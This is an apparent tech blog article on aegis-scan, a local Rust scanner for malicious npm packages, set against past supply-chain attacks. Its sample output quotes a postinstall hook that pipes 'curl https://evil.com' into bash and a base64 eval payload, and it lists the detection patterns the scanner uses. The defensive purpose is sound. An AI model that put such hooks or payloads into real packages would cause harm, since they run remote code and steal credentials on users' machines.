npm audit doesn’t see what’s actually happening.
Last week someone ran npm install on a fresh project. 847 packages. Twelve seconds. And the question hit immediately: what if one of those packages just silently copied their AWS credentials?
It’s not paranoia. It’s history.
The event-stream debacle of 2018 taught us something brutal. A new maintainer slipped malicious code into a package with two million weekly downloads. npm audit saw nothing. Zero warnings. Then cryptocurrency wallets started disappearing. Fast forward to 2021, ua-parser-js got hijacked and installed cryptominers across millions of machines. Again, npm audit stayed quiet. And in 2022, the author of colors.js deliberately broke the package, nuking thousands of downstream projects in seconds.
All three bypassed npm audit completely.
Here’s the thing: npm audit only checks a database of known vulnerabilities. It’s reactive, not predictive. Between the moment malicious code lands on the registry and the moment security researchers notice and file a report, there’s a gap — sometimes days, sometimes weeks. By then, your build system has already pulled it into node_modules.
Why the existing solutions feel like a compromise
Snyk and Socket exist. They’re good. But they’re SaaS platforms — which means accounts, often paywall friction, and your code flying to someone else’s servers for analysis. That centralization bothers developers who want to own their security.
So one developer got fed up and built something different: aegis-scan, a Rust CLI that downloads packages locally, actually reads the code, and tells you if something smells rotten. No cloud, no accounts, no waiting for a vulnerability database to update.
“npm audit checks a database of known vulnerabilities. If nobody filed a report yet, it stays silent.”
How does a malware scanner actually work?
Point it at a package. It downloads the tarball, unpacks it into a temp directory, and runs nine separate analyzers simultaneously:
- Static pattern matching catches eval() calls, child_process spawning, and environment variable harvesting with regex patterns
- AST analysis uses tree-sitter to parse the JavaScript abstract syntax tree, catching obfuscated eval buried across multiple statements (the #1 malware technique)
- Install script auditing flags postinstall hooks that run curl | bash or other network commands
- Obfuscation detection uses entropy analysis to spot base64-encoded payloads
- Maintainer tracking watches for sudden ownership changes (exactly what happened with event-stream)
- AI hallucination detection catches packages that look hand-crafted to exploit ChatGPT’s bad suggestions
- CVE lookup checks OSV.dev for known vulnerabilities
- Typosquatting detection catches lodassh instead of lodash, axois instead of axios
- Custom YAML rules let you define your own patterns
Everything gets weighted and scored from 0 to 10. Because it’s Rust, scanning 50+ dependencies takes seconds, not minutes.
The output is clean:
📦 [email protected]
⛔ CRITICAL: Code Execution
│ eval() with base64 encoded payload
│ 📄 lib/index.js:14
│ └─ eval(Buffer.from("d2luZG93cy...", "base64").toString())
⚠️ HIGH: Install Script
│ postinstall downloads and executes remote script
│ 📄 package.json
│ └─ "postinstall": "curl https://evil.com | bash"
Risk: 8.5/10
You don’t need a security background to understand what just happened.
Can you really plug this into your CI/CD?
Absolutely. It integrates into GitHub Actions as a single step:
- uses: z8run/aegis-action@v1
with:
path: '.'
fail-on: 'high'
sarif: 'true'
With sarif enabled, results show up natively in GitHub’s Security tab. And fail-on: ‘high’ stops your deployment cold if any dependency hits HIGH or CRITICAL risk. No backdoor code reaches production because the build won’t push it.
Installation is trivial. cargo install aegis-scan, or grab a pre-built binary. Then either aegis-scan check package-name to audit one thing, or aegis-scan scan . to examine your entire project.
This is actually a platform shift moment
What’s interesting here isn’t the tool itself — it’s what it signals about how developers think about trust now. For years, the JavaScript ecosystem ran on a gentlemen’s agreement: “We’ll assume package authors are good actors.” Event-stream, ua-parser-js, and colors.js shattered that assumption. The supply chain isn’t trustworthy by default. It needs friction. It needs inspection.
And crucially, developers don’t want to outsource that inspection anymore. Not to a SaaS company, not to a centralized authority. Local tools that you control, that you can inspect themselves, that run offline — that’s the future developers are voting for.
Aegis-scan is one expression of that. But it’s also a template: how do you build security tooling that puts control back in developers’ hands instead of pushing them toward dependency?
The code is MIT licensed. GitHub is at z8run/aegis. Results get cached for 24 hours, so subsequent checks are instant. And if you find it catches something real, the developer wants to hear about it.
The next time you run npm install and wonder what’s actually in those 847 packages — you don’t have to wonder alone anymore.
🧬 Related Insights
- Read more: npm’s Security Crisis Is Real—And GitHub Isn’t Fixing It Fast Enough
- Read more: 216 Pages of GeoCities Nostalgia, One Python Script, and a Lot of Keyboard Rage
Frequently Asked Questions
Does aegis-scan replace npm audit?
No — it complements it. npm audit catches known CVEs; aegis-scan catches suspicious code patterns and behavioral red flags that haven’t been documented yet. Run both.
Will this slow down my CI/CD pipeline?
Unlikely. Scanning 50+ dependencies in Rust takes a few seconds. Compare that to minutes with other solutions or the time cost of a compromised dependency in production.
Can I write custom detection rules?
Yes. Drop YAML files into a rules/ directory with regex patterns and file patterns, then point aegis-scan at them with –rules ./my-rules/. Your team can codify security policies specific to your projects.